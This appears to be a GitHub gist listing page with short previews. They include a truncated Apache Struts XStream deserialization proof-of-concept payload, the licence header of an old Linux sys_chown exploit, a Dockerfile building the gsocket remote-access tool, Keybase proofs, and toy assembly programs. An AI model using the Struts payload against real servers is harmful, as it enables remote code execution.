Skip to content

Instantly share code, notes, and snippets.

@suqdiq
suqdiq / Dockerfile
Created October 26, 2022 15:12
cross compile gsocket for sh4 / superh
FROM debian:stable
## install deps
ENV OPENSSL_VERSION 1.1.1q
RUN apt-get update
RUN apt-get install -y build-essential \
gcc-sh4-linux-gnu \
git curl autoconf automake wget \
libssl-dev file \
@suqdiq
suqdiq / payload.xml
Created September 6, 2017 23:49 — forked from anonymous/payload.xml
PoC payload for lolstruts lolREST lolXML loldeserialization lolvulnerability [6th Sept 2017, as there'll be another tomorrow probably ffs]
<jdk.nashorn.internal.objects.NativeString>
<flags>0</flags>
<value class="com.sun.xml.internal.bind.v2.runtime.unmarshaller.Base64Data">
<dataHandler>
<dataSource class="com.sun.xml.internal.ws.encoding.xml.XMLMessage$XmlDataSource">
<is class="javax.crypto.CipherInputStream">
<cipher class="javax.crypto.NullCipher">
<initialized>false</initialized>
<opmode>0</opmode>
<serviceIterator class="javax.imageio.spi.FilterIterator">
@suqdiq
suqdiq / keybase.md
Created April 18, 2016 11:14
keybase verify

Keybase proof

I hereby claim:

  • I am suqdiq on github.
  • I am suqdiq (https://keybase.io/suqdiq) on keybase.
  • I have a public key whose fingerprint is FA40 E7F0 9C49 D53D 2B3A 9B00 5707 E5BC 09D7 0F88

To claim this, I am signing this object:

@suqdiq
suqdiq / gist:81ead8a09a77307df905
Created April 15, 2015 10:46
Linux <2.6.7-rc3 x86 sys_chown exploit (~2004)
/*
* Linux <2.6.7-rc3 x86 sys_chown flaw proof of concept
* by 0xd0d9
* Copyright (c) 2004, fnop dot net
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions are met:
*
* * Redistributions of source code must retain the above copyright notice,
@suqdiq
suqdiq / gist:3c5a971a138084f3e09f
Created April 15, 2015 10:39
arvorezinha v1 Alpha Assembly (May/2010)
true64> gcc arvore.S -o arvorezinha
true64> ./arvorezinha
*
**
***
****
*****
true64> cat arvore.S
.data
LF: .ascii "\n\0"
@suqdiq
suqdiq / gist:a51ade72089e59132b54
Created April 15, 2015 10:38
arvorezinha v1 SPARC Assembly (May/2010)
solaris$ cat arvore.S
.section ".rodata1"
.align 4
.L0:
.ascii "*\0"
.L1:
.ascii "\n\0"
.L2:
.ascii "bla\n\0"
@suqdiq
suqdiq / gist:f3ab83bcf5230f181bb4
Created April 15, 2015 10:36
arvorezinha v1 PA-RISC Assembly (May/2010)
hpux$ cat arvorezinha.S
.LEVEL 1.1 ; cenas gays do hpux
.SPACE $PRIVATE$ ; o HPPA funciona por spaces, ler arch book
.SUBSPA $DATA$,QUAD=1,ALIGN=8,ACCESS=31 ; pra mais informacoes ou esquizofrenia antecipada
.SUBSPA $BSS$,QUAD=1,ALIGN=8,ACCESS=31,ZERO,SORT=82
.SPACE $TEXT$
.SUBSPA $LIT$,QUAD=0,ALIGN=8,ACCESS=44
.SUBSPA $CODE$,QUAD=0,ALIGN=8,ACCESS=44,CODE_ONLY
.IMPORT $global$,DATA
.IMPORT $$dyncall,MILLICODE
### Keybase proof
I hereby claim:
* I am suqdiq on github.
* I am suqdiq (https://keybase.io/suqdiq) on keybase.
* I have a public key whose fingerprint is F395 686E 1AEB BEBF 0C0E E1B6 F433 4AA7 3975 379E
To claim this, I am signing this object: